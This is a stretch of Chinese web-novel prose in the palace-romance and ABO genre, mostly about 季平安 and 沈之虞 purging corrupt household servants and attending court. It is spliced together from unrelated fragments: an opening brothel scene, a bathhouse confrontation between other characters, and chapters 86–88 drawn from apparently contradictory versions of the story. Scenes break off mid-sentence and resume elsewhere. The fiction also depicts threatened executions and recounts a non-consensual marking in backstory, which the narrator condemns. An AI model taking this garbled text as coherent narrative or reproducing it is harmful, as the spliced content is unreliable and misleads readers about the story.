少师满是嫌恶的向里走,这种店,要不是为了主君的任务,都不配她踏入。 看着少师离开的背影梅姨娘匆匆走到一个过道,手一挥,一个仆人上来,她悄声道:“联系公主,就说这里有情况。” 瞧刚才那人,隐藏的练家子,这种人她见的多了,揽月坊里最不差这种江湖侠客,可方才那个人,浑身阴郁,身上有股若有似无的香味,那味道她前些天才闻过。 就在黄莺屋内。“少师,这是君主的信。” 梅姨娘眼底闪着算计,她这里,可不是接二连三的作案点。 “通知红绸盯着她。” 二楼屋内。 画眉推开门,看见红绸正在给黄莺擦拭额头。 抬眼,红绸见她神色有异,便放下手中锦帕,起身道:“怎么了?” 沈悦眸光潋滟,在汤池雾气蒸腾下显出几分虚弱苍白。 谢明幽摁着她肩头的手不由缩了缩,这幅样子,是想在她面前博同情? “你还是跟以前一样虚伪。” 半晌,她移开视线,不去看她露出的半截身子,细瘦的锁骨,眼底讥讽。 沈悦额头又开始发痛,每次一深想她就犯头痛。 “我该记得你?” 水流潺潺,她脑子里轰隆一片,眼前人的脸近在咫尺,她们若认识,她不会一点记忆没有,她半倚在池边,思绪已有混乱之意,出口的话也是蠕蠕诺诺,没了白日里在朝堂上的端庄威严。 “你不该记得我,因为” 谢明幽那双暗绿色眸子直射进她心底,薄凉道:“你不配。” 三个字,不轻不重,却将沈悦压的喘不上气。 之前就在她面前装,可惜,今时不同往日,她已经不会在上当。 “唔。” 沈悦艰难的呼吸,仰着脸,下巴被无情的掐住,对方眼底波澜难懂,她在水中亦不敢轻举妄动,满池花瓣飘满,她不着寸缕,这个女人带着很强的攻击性,沈悦双手扒拉在池畔,面色难堪极了。 “如今看你这幅模样,只会令我恶心。” 谢明幽见她颤抖的胸随着水流起伏不定,眼底惊诧,看她时带着陌生的恐惧,好像她就是洪水猛兽,真是时过境迁,她已经全然忘记了她。 谢明幽一甩手将她脸搡在一边,泄愤似的:“沈悦,你会记起我的。” 屋内一阵风似的,当沈悦缓过气来,人已经如同她来时一般,悄无声息的没了踪迹。 沈悦摸摸下巴,那里还有被人掐过的阴影存在,她是冲着自己来的。 皇宫高墙,她竟来的如此顺利。 沈悦趴在池边,脑子乱糟糟。 这是她们两人说好的关系。 季平安:“那我们作为朋友,殿下真的给过我信任吗?” 若说从前,她没有怀疑过沈之虞。 但现在,她却不确定了。 在沈之虞答应给她信任的每个时刻,是真的愿意吗? 沈之虞看着她道:“给过。” 季平安微微俯身,靠近些沈之虞。 她看着眼前人清冷的眸眼,道:“殿下,可是这次我没有感受到。” “一点也没有。” 第 86 章 第 86 章 季平安的话落下后,书房里便只剩下安静。 过了片刻,她还是没有听到沈之虞的回答。 沉默也是答案,说明对方认同了她刚才的话。 季平安的心往下坠了些,她直起身,想开口说些什么,便被打断。 沈之虞道:“我从山崖跌落,会陷入昏迷,府中便只有你了。” 为了让皇帝相信这件事,也为了让对方下定决心,她受的伤必须要足够重,自己的昏迷也在谋划之内。 但昏迷之后,也是计划的最佳时机。 沈之虞一个“杀”字,院中的人跪下了一大半。 有胆大的管事上前一步问道:“王妃此言可有证据?虽然我等是王府奴婢,但若王妃没有证据,恐我等不服,而且我们当中可有内务府的内官婢,岂是随意打杀的。” “殿下!”一个胖胖的婆子朝季平安跪下,“殿下建府之初,奴婢们就在王府服侍,王妃喊打喊杀的,对奴婢如此苛待,若是传扬出去,岂不是让外人说殿下您暴戾无常?” “放肆。”小北率先出声,“殿下对待王府奴婢向来优厚,才惯的你们不知天高地厚,居然敢质问殿下了。” “小北。” 季平安抬手阻止,先是看向沈之虞,见对方不欲说话,想来是要看她的态度。 “内务府出身?不能随意大杀?”她重复了两句管事的话,随即冷笑一声,“本王杀了你们,又能如何?还是本王请内务府总管来告诉你们,谁是主,谁是仆?” 她是没有什么主仆概念,可前身嚣张跋扈惯了,她也就学了个一分像。 季平安转念一想,语气中带着微嘲道:“王妃乃王府主人,她初接管王府,查账本是分内之事,至于你们的账目有没有出错,要查了才知道。” “王妃不过是给你们一个机会,省的查出来后严惩你们,又要说她不近人情了,可王妃提前给了你们机会,你们居然不领情,那就直接查吧。” 她伸出手,手指只向刚刚说话的两人,“从她俩开始。” “对了,刚刚她们顶撞王妃,还意图往本王身上泼脏水,该当何罪?” 小北立马接话道:“死罪。” 她话里话外都在维护沈之虞,顺便杀鸡儆猴,没有跪的人也都陆续跪下。 “殿下饶命啊。”胆大那个管事,瘦瘦高高的,慌忙跪在地上求饶。 胖婆子也跪趴在地,身上的肉颤抖着,害怕极了。 季平安只是为沈之虞撑腰,并不是真的要把人杀了,“死罪可免,活罪难逃” 是掌嘴还是打板子?她有些拿不准。 “安远,你来处理。” 她没注意到旁边的小北脸上露出了惊愕的表情,安远让人把瘦管事跟胖婆子拉了下去。 两人的求饶声刚响了两句,就让侍卫堵住了嘴巴,声音戛然而止。 这个时候季平安还没想到,她们的结果会是什么,她对着下面的管事婆子冷声道:“王妃乃王府的主子,她的话就是本王的话,你们都记住了,若被我知道谁对王妃不敬,王妃心善,本王可不是好惹的。” 她的心里暗道:我好惹,女主不好惹,第一次说这种话,怪刺激的,还好没结巴。 她又扬起一抹笑容,“夫人,接下来的事情,就交给你了。” 沈之虞的眼神中带着异色,季狗真的能装到如此地步吗? “开始抽签。” 抽签排序先查哪个的账目,等到这个人的账目查完,要是真的有问题,这个人又没有提前承认,那么惩罚加倍。 沈之虞真的很会搞心态,心里有鬼的人,见排号马上就到自己了,岂不是要慌死。 不是没有硬抗到底的人,可结果会告诉她们,顽抗到底是没有用的。 沈家的有能力的账房很多,查一个人的账很快,那么多的账目,在沈家几个账房的努力下,查看一个人的账本,只用半炷香的时间。 冬日寒冷,居然开始落雪了,众人站在露天的院子里,肩上头上都落了雪花,冻的瑟瑟发抖。 沈之虞喝着热茶,腿上盖厚重的兽毛,暖和和的欣赏着落雪,与院中那些着急的人,仿佛身处两个世界。 季平安乖乖的剥了几粒糖炒栗子,放到了靠近沈之虞的位置,有炉火热着,栗子不会变冷。 “夫人,吃栗子。” 沈之虞的目光从落雪上收回,被困在这皇城中,看落雪竟然也生出了些许趣味。 她随手捏起了一粒剥好的栗子,突然发现,栗子好像是季平安剥的,拿都拿起了,要是扔回去,季狗得炸了吧? 她掌控王府,最需要的是季狗的态度,若她当中拂了季狗的面子,王府上下恐不会那么容易屈服。 要是惹的季狗装不下去,那她白费了这么一番功夫。 沈之虞觉得,既然季平安要装,那她就趁此机会,好好发展自己在上都的势力。 命运往往是掌握在自己手里的,她或许不能在上都城翻手为季覆手为雨,但至少不会任人宰割。 跟随她嫁人而来的,那些明面上的人,掌控整座王府还是少了些,要想将整座王府掌握在自己的手中,该装的还是得装。 沈之虞不动声色的把栗子放到嘴巴里,季平安看到眼睛一亮,剥栗子剥的更起劲了。 没一会儿,第一个管事的账目出来,徐二上前一步禀报道:“王妃,钱管事的账目出来了。” 徐二是沈之虞身边最得力的管事,同样是陪嫁管事中领头的。 季平安记得还有一个徐大,徐大日后是沈之虞身边得力的将军,徐二算的上是半个钱袋子了。 哪怕这时沈之虞虞纪不大,历练还算不上深,用人之准已初显。 多虞后跟在沈之虞身边的那些人,多是被其魅力折服。 “钱管事?”沈之虞的视线落在一个胖胖的乾元身上,对方大冬天的满头虚汗,想来是做贼心虚。 听到自己的名字,钱管事慌忙上前,“王上,王妃。” 钱管事表现的害怕,可还是□□着,想着会不会有一线生机。 沈之虞挥手,示意徐二来说。 “禀王妃,钱管事掌管府内迎来送往,账上少了许多东西对不上,其中最贵重的,当属陛下赐下的龙凤佩,先皇后赐下的金镶的羊脂白玉冠,内务府送来的,还有各方送来的,已列出名单,请王妃查看。” “不必了。”沈之虞冷笑一声,“别说是陛下跟母后赐下的东西,就算是内务府送来的,全是官造,官造的东西出去一件就是死罪,要是陛下跟母后赐的东西” 她的声音冷了冷,“诛九族。”沈之虞醒来时,感觉到自己周身的温暖,脑袋里有些疑惑,她不是在亭子中罚跪吗?初雪降临,寒意入侵,怎么可能会暖。 可她现在身上暖暖的,鼻尖还萦绕着淡淡的香味,跟季平安那个狗东西身上的味道一样。 她悠悠记得,自己在晕倒前,看见了季狗的脸。 那个狗东西大半夜的不睡觉,怎么可能冒着寒冷的天气去看她。 她该不会冻死了吧?死前出现的幻觉? 直到感觉到膝盖上的疼痛,沈之虞才回归现实。 死人是感觉不到疼的。 她缓缓的睁开眼睛,映入眼帘的居然是季平安,这个狗东西怎么在她的床上躺着? 随即她感觉到了不对,她不喜熏香,房间不会有这么浓的香味,更不会暖到身上隐隐有些汗意。 她房间里面,可没有这么旺的炭火。 沈之虞忙从床上坐起来,观察着周围的环境,当初大婚之夜,她还是到过季平安的房间的,里面的布置除了撤下了红绸跟喜字,没有太大的改动。 所以她是在季平安的房间?她为什么会在这里? 该不会季平安这个狗东西对她做了什么?这个念头刚刚升起,她就拔出了小腿上藏着的匕首。 在匕首到季平安脖子上的瞬间,她控制住了自己。 接下来的一刻钟,沈之虞的脑袋里,想法每变一次,她的手就摸向匕首一次,其中拔出来了不下三次。 季平安可不知道,短短一刻钟的时间,她差点儿要死上十几次。 回过神来的季平安,见沈之虞阴沉到快要滴出水的表情,回想起昨晚前身惩罚对方的原因,心里再次唾弃前身。 前身禁足期间得到消息,皇帝要让她离都就藩。 在前身的心里,只要一日没有离开上都,就还有争夺皇位的机会。 毕竟当今太女是她的亲姐姐,一旦太女去世,太女的班底都会为她所用,到那时,未必没有一线机会。 可皇帝竟然要她就藩,这代表着,就算太女去世,她也不可能借此机会翻身了。 得到这个消息后,前身闯进了沈之虞的院落,不管拿起什么,都往对方的身上扔去。 要不是几个忠仆拼死护着,沈之虞不死,也要重伤,何况对方怀孕了。 记忆到这里,季平安想到三天后,沈之虞下定决心离开的其中一个重要原因,就是她陪嫁的那些人,为了不成为她的拖累,集体在上都城制造混乱,有的拿起兵器在王府作乱,最后全部撞在王府侍卫的兵刃上。 正是所有人以这种壮烈的方式牺牲,沈之虞才带着滔天的恨意从南秦离开的。 沈之虞之所以选择妥协不反抗,就是因为前身经常用她陪嫁的人的性命威胁。 前身让她去后花园跪下,不想连累身边人的她,乖乖的去了。 她不傻,可不会选择跪在露天的地方,自觉的走到了亭中。 迎接王府来来往往的仆人,目光的审视,与无尽的嘲笑时,她在寒风中瑟瑟发抖。 这次之后,为了自家主子的命,为了让自家主子离开这个吃人的地方,沈家的仆人们,一同选择放弃自己的生命。 季平安对前身以势压人,以人命威胁人的手段,感觉到气愤。 上都城的混乱,加上沈家彻底偏向北齐,导致了前身被圈禁,再到死亡。 前身是自食恶果,季平安自然不会,她绝对不能重蹈覆辙。 但突然的改变,一定会引起怀疑的,万一被人发现这副躯体换了一个灵魂,搞不好她会让人当妖怪给烧了。 她沉思了一会儿,眼神温柔的盯着沈之虞,轻声道:“王妃,你怀孕了。” 因为对方怀孕而改变态度,这个理由很充分吧? 沈之虞:“” 她的脸黑了又黑,被自己怀孕的消息震的说不出话来,完全没有注意季平安语气上的不同。 在季平安的记忆里,她们只圆过一次房,正是沈之虞上次发情期。 皇帝听说她们一直没有圆房,给前身下了死命令,于是前身趁人之危,在对方发情期,失去理智的时候,标记了沈之虞。 前身的思想比较垃圾,哪怕她不喜欢沈之虞,可身为王上,标记自己的王妃怎么了? 所以前身是永久标记了沈之虞。 小说中,沈之虞离开南秦后,为了解除身上的标记,上了异人谷,失了半条命才解除了标记。 自此,沈之虞就开始变的体弱多病起来。 季平安鄙弃前身的做法,如今却只能弥补前身犯下的过错,是为了拯救自己,也可能是,不忍女主继续受苦吧。 看小说时,她就心疼女主,现在见了沈之虞的真实处境,那种心疼几乎是成倍成倍的增长着。 “你说什么?”沈之虞无法相信自己怀孕的事情,以为季平安又想了新的方法折磨自己。 季狗被皇帝禁足一个月,说不定对方在拿她寻乐子。 季平安深知沈之虞对前身的偏见,当然,现在是对她的偏见了。 她深吸了一口气,开心道:“王妃,我们马上就要有孩子了。” 她的脸上扬起一抹笑容,算不上多真诚,就是笑眯眯的。 季平安在沈之虞的面前,什么时候有过这样好的态度。 沈之虞冷漠的看了她一眼,然后下床,结果腿一软,差点儿摔到。 季平安正要去扶,却被甩开了手。 沈之虞强忍着膝盖上的疼,扒开了床帘往外走去。 跟季狗在同一张床上,实在是令人恶心。 每多待一秒,她就多一分恶心。 季平安忙跟着下床,她知道,自己说的话,沈之虞不会相信的,就拉响了床边的铃。 六个婢女一同推门进来,莺莺燕燕的,她只觉得头疼。 像高门大户的夫人出门,丫鬟小厮的得有几十个,她身为王上,单独伺候她的人,前前后后上百个,可算的上是奴仆成群。 这才进来了六个婢女,外面等着的还有十多个。 前身这个狗东西可真会享受,怪不得没钱。 婢女进到房间低着头,在外间一字排开,一个虞纪稍大的婢女走过来屈膝道:“殿下。” 婢女兰屏,是前身奶嬷嬷的女儿,后一直在前身府中,当一等女使,就算在一等女使中也很有地位。 小说里,兰屏对沈之虞经常冷嘲热讽,动不动克扣对方院子里的东西,欺压打骂沈家仆人,后来沈家奴仆作乱,让人乱刀砍死了。 兰屏是前身身边,主要欺负沈之虞的人之一,小说中就用了些笔墨写兰屏的死。 季平安艰难的对见到的每个人,跟记忆里的名字对号入座。 尽管她接收了前身的记忆,但暂时还不能熟练的使用那些记忆。 “兰屏,去请府医,还有昨晚府医开的药,先热着,等王妃用完早膳,给王妃端上来。” 季平安事无巨细的叮嘱着,旁边伺候的人垂下的脸上,满是惊讶。 兰屏愣了一瞬,忙道:“是,殿下。” 兰屏欺负沈之虞包括沈家人,那是顺承王上的意思,在王上的默许下作威作福。 整个楚湘王府上上下下,都是看季平安的脸色行事。 她的态度,就代表着,以后王府上下对待沈之虞的态度。 没有人敢质疑她的话,皇权至上的时代,她一言可以决定所有人的生死的。 哪怕所有人都很惊讶,她对王妃事无巨细,在抬头时,脸上的惊讶的表情也早已隐去。 一旁的沈之虞眉头紧锁,深深的看了眼季平安,她开始怀疑自己真的怀孕了。 不过,一切还是要等府医来了再说, 显然,季平安请府医,是想告诉沈之虞,她没有撒谎,更没有要作弄对方的意思。 其实,像兰屏这样的一等女使,在夜里府医来过后,就已经知道了沈之虞怀孕的消息。 原本以为王上会厌屋及屋的,没想到沈之虞居然有凭借着怀孕要翻身的意思。 古代讲究母凭子贵,,一时间得知王妃怀孕的王府中人,都在考虑着,以后对王妃的态度。 但这些人肯定是以季平安的态度为准的。 季平安能有什么态度?生杀大权都在沈之虞手里,她肯定是要对人家好啊。 她抬眸看向沈之虞的神色,对方的脸色很不好。 也是,她们圆房是前身设计的,如今又怀孕了,怀了自己最讨厌的人的孩子,谁能高兴的起来。 希望她能尽管解去,悬在自己头上的这把刀。 没多久,值班的府医快步走到房间,先向她行礼,然后再她的示意下,去帮沈之虞把脉。 季平安在边上,几个婢女在帮她洗漱穿衣。 不是她想入乡随俗,而是古人的衣服太过繁琐,她不会穿。 南秦的衣服跟明朝的服饰差不多,王上的衣服的材质是最好的,绣工精美。 她被禁足在家,穿的就是常服,可前身的那些常服依然华美,一身大红,领边镶着银丝花纹,身上到处是金丝绣的朱雀。 这一身价值不菲,可是也太华丽嚣张了,怪不得朝臣都看前身不爽。 前身的记忆里,大部分人的常服,就是寻常的衣服,颜色以暗系为主,不会绣上太多的花纹,就算绣,也不会是金线银线的。 南秦富裕,朝臣却朴素,那是因为当今圣上崇尚节俭。 正如前身这个王上,府中上下以她的举动为风向标,那么当今圣上的举动,则会是举国上下的风向标。 皇帝节俭,就算在家里再奢侈,朝臣也不敢在皇帝面前放肆啊。 有点儿眼力见的大臣,多少会准备几套,看起来不那么华丽的衣服。 哪像前身,平时在家花里胡哨就算了,出门也打扮的跟个花孔雀一样。 季平安很好奇,前身凭什么觉得,没有沈之虞,自己就能继承皇位了? 她觉得自己还有一件重要的事情,那就是准备几套不那么张扬的衣服。 季平安一边嫌弃一边穿好了衣服,在婢女帮她束发时,用余光看向沈之虞,发现对方在府医那里确定了自己怀孕的事情后,眼神越过府医,看向她。 她忙扬起笑脸,柔声道:“王妃可要好好休养,有什么吩咐尽管说,王府上下都听你差遣。” 说着,她觉得自己这样说,容易让人怀疑,就补充了一句,“咱们的孩子,配的上最好的。” 而沈之虞在听了她的话后,以为她在恶心自己,本就冰冷的眸子,又冷上几分,像是要把她冻死一般。 她毫不怀疑,要不是房间里面这么多人,沈之虞很有可能冲上来咬死她。 确实是这样,沈之虞的手微微下垂,目标正是自己小腿上的匕首。 得亏人多,不然怕是要见红了。 沈之虞的话音刚落,钱管事立即跪地求饶,“冤枉啊,王上,奴婢忠心耿耿,岂敢贪墨。” “是吗?”季平安本一副妻唱我随的样子,听到钱管事的话平静道:“安远。” 很快,几个侍卫上前,抬着十多个箱子进来。 安远打开其中一个箱子道:“殿下,这些都是在钱管事的家里找到的。” 沈之虞午睡前,让安远带人到那些管事婆子家中了,别的不说,御赐与官造都是有自己的独特的标记的。 安远带人,不用找太多东西出来,只要找到带有官造标记的东西就行了。 到时候账本与东西一对,贪墨的管事婆子,在铁证前面,容不得她们辩解。 铁证如山,钱管事瘫软在地上,余下那些人人心惶惶,心中开始动摇。 季平安乖巧的看向沈之虞,“夫人,该如何处理?” 她整一个什么都听沈之虞的样子,看到的人心思各异。 特别是那些管事婆子,见王上如此信重王妃,心里的那一点儿侥幸,也随之消失了。 沈之虞的视线放在季平安的脸上,见她满脸乖巧,眼睛里面的真诚快要溢出一般,一副坚定的维护自己的模样。 沈之虞眸光微闪,居然有点儿相信,她是真的变了。 可一个人变化怎会如此之大,除非是有所图谋。 当然,她也有所图,若季狗的图谋挡了她的路,那便佛挡杀佛,神挡杀神。 季平安忽然感觉到有些冷,忍不住往炉边靠了靠取暖。 沈之虞如今恢复了记忆,对朝堂上的人把握也更详细。 听着季平安的话,不时点出几个关键点,原本复杂繁琐的事情也渐渐明晰了起来。 等到说的差不多了,季平安也从坐的位置站起来。 她道:“如果没有其他的事情,我就先回去了?” 沈之虞合上刚才勾勾画画的账册,“等一下。” 季平安顿住脚步:“还有事?” 沈之虞嗯了声,抬眸看向她。 她的语气放轻了些,问道:“你还生气吗?” 季平安:“当然。” 做顿好吃的,就想把她哄好,未免有些太容易了。 若是沈之虞亲手做的饭,说不定她还会考虑考虑。 沈之虞难得问道:“我需要怎么做?” 这句话,基本算是给了季平安一个随便提要求的机会。 季平安偏偏装作听不懂,不给对方走捷径和偷懒的机会。 她微微挑了挑眉:“殿下,这得你自己想。” 第 87 章 第 87 章 季平安说完这句话,就出了书房。 她合上门的时候,脑海中也响起来了系统的声音。 【目标人物好感度+5】 季平安的脚步顿住片刻,忍不住勾了下唇角,这就开始哄人了? 系统这时候也冒了出来,道:“宿主,我就说你可以的,生气都能让任务目标增加好感度。” 季平安继续迈着步子,和系统聊着天:“我也没有想到。” 不过她也差不多能猜到沈之虞心里的想法,知道对方为什么会增加好感。 要不然是被她说的话打动了,要不然就是对她有愧疚。 系统:“但我刚才感觉任务目标和平时没有什么区别,完全看不出来要加好感的样子。” 无论是解释自己的做法,还是后面的承诺,语气都如往常般平平淡淡。 季平安:“她就是这样的人,看不出来也正常。” 若是没有听到刚才的好感度提示,她估计也猜不出来沈之虞的想法。 系统疑惑:“任务目标是什么样的人?” 它身上带着任务,但因为前两次失败的任务,对沈之虞总会有种莫名的恐惧。 季平安的语气带了些无奈,道:“嘴硬心软的一个人啊。” 系统:“……是这样的吗?” 季平安想了下,道:“也不是很准确。” 她道:“应该是,傻乎乎的嘴硬心软的一个人。” 不想让她担心,就直接把这件事瞒了下来。 估计她今天不问,沈之虞能把这件事瞒一辈子。 这难道不傻吗? 系统:“……” 季平安补充完这句话,和它印象中的任务目标更不符合了。 想不通系统也不纠结,它把信息面板调出来,道:“宿主,现在任务目标的好感度已经40了!” 许拓是沈之虞最忠实的追随者,满腹深情难以言说。 小说中,许拓认定沈之虞是自己的主君,便追随一生,后来让敌方抓去,扒去了外衣,在烈日下暴晒脱水而亡。 堂堂世家公子,一生清誉,何曾受过如此之苦,一生中最苦的,怕就是每日早起上朝了。 脱去外衣就等于活扒了自身的骄傲,对一个一生重礼的人,是心理身体的双重折磨。 季平安抬眸看过去,“宋侍郎,许少卿。” “臣在。” 宋安跟许拓一同应道,不同的是,许拓的声音如清风拂面,柔和了许多。 “此事便交给宋侍郎与你了。” “诺,臣等必当尽心竭力。” 许拓又道:“禀楚湘王殿下,大理寺并无审讯之责,需宋大人先审讯过后,大理寺再接收。” “不必。”沈之虞既让大理寺来了,心中自然有数,“审讯已经结束,宋侍郎带人查问,许少卿只管复审勘问。” 其实刑部,大理寺的权力很难细分,也经常出现相互推诿的事情。 今日王府发生的事情,叫刑部可以,叫大理寺也行,说简单点就是,刑部查案执行,大理寺审判。 又有品级细分,普通人以及七品以下的官员归刑部,七品以上的官员归大理寺,皇亲贵族则需要加上督察院三司会审。 那王府的奴仆是算普通人的事情,还是算皇亲国戚的事情呢? 乱七八糟的,前身都弄不太清楚,更别说季平安这个现代人了。 不同朝代的刑部跟大理寺都有不同,南秦属于她不知道的朝代,律法与她读过的史书不同点更多。 她现在反正是沈之虞说什么,她就做什么,日后再学习南秦律法就是。 “安远,把众人画押签字的文书,还有人证物证都交给宋侍郎跟许少卿吧。”季平安示意小北摆座,“几位大人请坐。” “谢殿下赐座。”刑部与大理寺众人行礼道谢。 侍卫们把证据呈上,众人开始忙碌。 季平安让人上了茶水点心,还叫人熬了滋补的汤。 她端起茶水递到沈之虞面前,“夫人,用茶。” 沈之虞:“” 一众官员核对不到一炷香的时间,她端茶送水剥坚果的,明明婢女能做的事情,她全给做了,当真是一个好妻主。 她这副样子,惹的众官员频繁侧目,不是说楚湘王不喜王妃嘛?传言与现实不符啊。 许拓倒是专心查案,一眼都没有往这边看。 对方身形坐的笔直,一页一页的翻看着证据,良久才把账册放下。 “殿下,王妃,王府中人贪墨证据确凿,按照我朝律法,奴婢偷盗主家财物,仗责八十,若不死可发卖,可流放。” “王府不同平常府邸,多是御赐与官造,偷盗官造者夷三族,偷盗御赐之物诛九族。” 宋安也放下了手中众人签字画押的证据,眸中含笑道:“许少卿说的对。” 宋安磨蹭了那么久不开口,许拓刚说话就附和,想开是不想与此事扯上什么干系。 季平安一点儿也不在意众官员的想法,她在想许拓说的话。 正如之前沈之虞说的那样,律法严苛。 官造物品全是由内务府统一发放,全部登记造册,多一样少一样都有记录。 为了区分官造与民造,律法上的严苛直接体现出了两者的不同。 听到大理寺确认了她们的罪名,犯事了的管事婆子慌忙跪下祈求原谅。 沈之虞看向季平安,示意她可以说话了。 季平安轻咳一声道:“主动认罪的,死罪可免,活罪难逃,内官宫婢官送回内务府,王府购入奴婢,便” 送入大牢?她只是顿了一下,沈之虞便知道她想说什么,于是主动接话道:“叫牙行的人来,把她们带走吧。” “是,听王妃的。”季平安继续道:“至于那些死不认罪的,就按律法处置吧。” 在那些管事婆子求饶,吵的人头疼,院中乱糟糟的,安远就叫府兵把这些人带出去了。 宋安与许拓弯腰行礼,“诺。” 众官员没有多留,楚湘王府的府兵押送着那些奴仆离开,剩下的事情她们就不用操心了。 王府中一下子少了大半人,剩下的一小半并不是没有问题,只是潜伏比较深,还需要慢慢拔除。 王府内清净了下来,多处职位空缺,运转上也出了问题,多亏了沈家人顶上,王府运转才不至于瘫痪。 天色渐深,今日处理了这么多事情,早该休息了。 “夫人累不累。”季平安关心的问道。 沈之虞怀孕刚一个月,正是要养身体的时候,就要为王府的事情劳累,她是真的关心对方的。 两人的视线在空中交织,她眼中的关心真切,不似作假。 沈之虞忽然觉得,季平安是真的变了。 这个世界上,当真有人一夜之间变化这么大吗?她倒是有听说过,妻子有孕,妻主改变的故事。 但是她记得昨晚,自己昏倒前的一幕,季平安眼睛里面的心疼。 难道那时,季平安就知道她怀孕了?既然知道,为什么又要罚她? 沈之虞百思不得其解,季平安变的太突然了,也太真实,一个人可以装,却装不到这种程度,何况是季狗。 季平安见沈之虞不回答自己,眼睛一直盯着院外看,该不会是在想许拓吧? 她想到小说中,沈之虞对许拓的欣赏。 两人刚刚一句话也没说啊,应该不至于这么快看对眼吧 她倒是不介意沈之虞喜欢别人,只是她现在处境堪忧,对方还是留在王府中的好,等到她的处境好了,她会跟对方和离的。 她不阻碍沈之虞的事业与幸福,和离时她可以净身出户,希望楚湘王府的财产,多少可以帮对方些。 可她还是好奇的问,“夫人是在想许拓吗?” 沈之虞:“???”狗东西又在胡说什么? 季平安没有注意到沈之虞奇怪的眼神,自顾自的说道:“也是,许拓,许子玉,君子如玉,世家公子,温润儒雅” “你想说什么?”沈之虞直接打断了她。 季平安愣了愣,傻了吧唧道:“我是说许拓人不错啊。” “与我何关?” 沈之虞对她说话向来不留余地,说罢转身往屋子里走去。 天晚温度渐凉,她穿着披风还是感觉到了些许冷意。 见沈之虞回屋,她忙跟上,内心恨不得给自己的嘴巴来一下,处理了王府的那么多人,眼线什么的去除了大半,要紧的地方全是自己人,她正高兴呢,一时间失了谨慎。 “夫人有孕在身,莫要生气。”季平安笑着讨好。 沈之虞深吸一口气,视线放到别处,偏不给她一个眼神。 季狗变化太大,还需观察,沈之虞态度不会好,她倒要看看季狗到底是装的,还是真的变了。 无论真假,全看季狗怎么做了- 第二天早上。 季平安换好了朝服,准备上早朝。 皇帝对于早朝的态度并不热切,经常会借着各种理由推脱。 不过最近季平安给他找了不少事,皇帝也没有办法逃掉早朝,连着上了好几个早上。 朝中的言官这些日子话都少了许多,连带着对季平安都有几分好脸色。 她准备出门的时候,沈之虞也换好了衣服跟上来。 沈之虞既然醒了,肯定是要进宫一趟的,也正好探探皇帝的态度。 季平安问了一句:“现在就去?” 早朝早朝,突出的便是一个“早”字。 哪怕公主府距离皇宫不远,路程用不了多长时间,但天色也还早。 季平安还想让人多回去睡一会儿,但是这句话要说出来的时候,她又想到了自己还生着气呢,说完就闭了嘴。 沈之虞嗯了声,“我和你一起去便好,也不用再麻烦。” “也可以。”季平安让了位置,看着沈之虞先上了马车后,自己才坐上去。 她道:“我下朝之后,便去找你。” 坤泽不能上朝,沈之虞想见到皇帝,也只能先在殿里面等着。 “好。”沈之虞应了一声,视线还是落在季平安的身上。 她还在想着,季平安说过的“喜欢的画面”是什么,又能怎么留下来。 沈之虞的目光和她的人一般,清冷中还带着些淡然,不会让人如芒在背,但也不能完全忽视。 季平安主动开了口,问道:“殿下在想什么?” 沈之虞缓声道:“在朝上不用顾虑太多,也不用考虑其他人的心情。” 季平安笑了下,“我知道,我前些日子也没有太顺着他们。” 她在外人面前,本来就只是个猎户,说话直接、不讲礼节、不顾其他人的面子也在情理之中。 沈之虞:“那就好。” 她的视线微微下移,落到了季平安腰间系着的银鱼袋上。 她还没有见过季平安在朝堂上的样子。 到了宫门口,两人便各自朝着不同的方向走去。 季平安到的时候,大部分官员也已经到了,没一会儿皇帝也坐到了位置上。 明贞帝扫了眼朝下的人,没什么精神地道:“众爱卿,有事启奏,无事退朝。” “禀陛下,臣中散大夫,有事要奏。”一个三十多岁左右的官员站了出来。 季平安看过去,不是很眼熟,但估计和前些天其他官员的说辞差不多。 明贞帝看向他,道:“爱卿且说是何事?” 这位官员道:“驸马近日接连将朝中官员下狱,怕是大理寺的牢狱都要满了,不仅让朝中的官员人人自危,惶恐连连,更是连民间的百姓都议论纷纷。” “更遑论四天前朝奉大夫在朝上参奏驸马,隔日便被驸马以陛下之名,罗织罪名带去了大理寺。” “依臣看来,驸马实为挟私怨于公权,此等行径罔顾律法,更破坏朝廷法度和民间安稳,臣不敢不言!” “臣唯愿陛下圣裁,以正朝纲!臣冒死进言,万死不辞!” 第 88 章 第 88 章 这位官员说的义正言辞,言辞激烈又恳切,说罢便直直地跪在了地上。 这番情绪也感染触动了朝上许多人,他们跟着也跪了下来,齐声道:“臣唯愿陛下圣裁,以正朝纲!臣冒死进言,万死不辞!” 声音很大,回响在安静的殿中,每个人的神色也各不相同。 像沈弘星脸上哪怕没有太过明显的表情,也能感受到他的幸灾乐祸。 他的外祖父丞相大人就稳重许多,仍旧站在原地,一言不发,半分眼神都没有给到刚才的官员。 三皇女则面露出些担忧,垂在身侧的手紧了紧。 楚湘王府漏的跟塞子一样,哪怕处理了那么多人,剩余的人中依然有外面的眼线。 只是刑部跟大理寺一到楚湘王府,不需要眼线汇报,王府里面的消息已经传出去了。 今日上都城热门——楚湘王府的笑话。 对于勋贵世家来说,府中管理成这样,自然是笑话。 多的还是笑沈之虞,一个商户女做了王妃又怎样,上不得台面的东西,连家都治不好。 主君主外,如何能被家中杂事烦扰,大娘子掌管中馈,家中事物大小,自是由王妃掌管。 王府中出现了奴婢偷盗背主的事情,还要王上请了刑部,大理寺来处理,如何不是王妃无能? 事实上,楚湘王与王妃成婚只有半虞,又传两人不和,王妃一直不得入主正院,上哪掌管王府去。 有些人啊,惯会把乾元的错,怪罪在坤泽身上,或是怪在和元身上。 无论是坤泽还是和元,都是乾元的妻,对世人来说,乾元的错总是情有可原的。 季平安初来乍到,对古代之事不算了解,但沈之虞很清楚,上都城会出现什么样的谣言。 “姑娘,京城风言风语已起。”北竹回来后,一直在沈之虞旁边伺候。 等到季平安去洗漱,才有机会汇报外面的事。 沈之虞早已洗漱好,倚靠在美人塌上,身上盖着厚厚的兽毛毯。 听到北竹的汇报,她的声音里面带着些嘲讽,“季狗本就是全京城的笑柄了,如今再加一个不学无术的王妃,又能如何。” 楚湘王娶商户女,楚湘王禁足,半虞来,上都城的饭后余谈多是季平安提供的,多一个废物王妃有什么要紧的。 “可姑娘,以您之才,万不该如此。”北竹说起这个就忿忿不平。 以自家姑娘在西北的表现,日后大有作为,现在只能困在上都城,不管是谁都嘲笑,身边还有一个狗王上欺负。 沈之虞看了自家婢女一眼,“你可见到李昭贤?” “未曾。”北竹摇头,“我去时,客栈只留下了一个女娘在,她让我转告姑娘,今夜风起,让姑娘不要睡的太死了。” 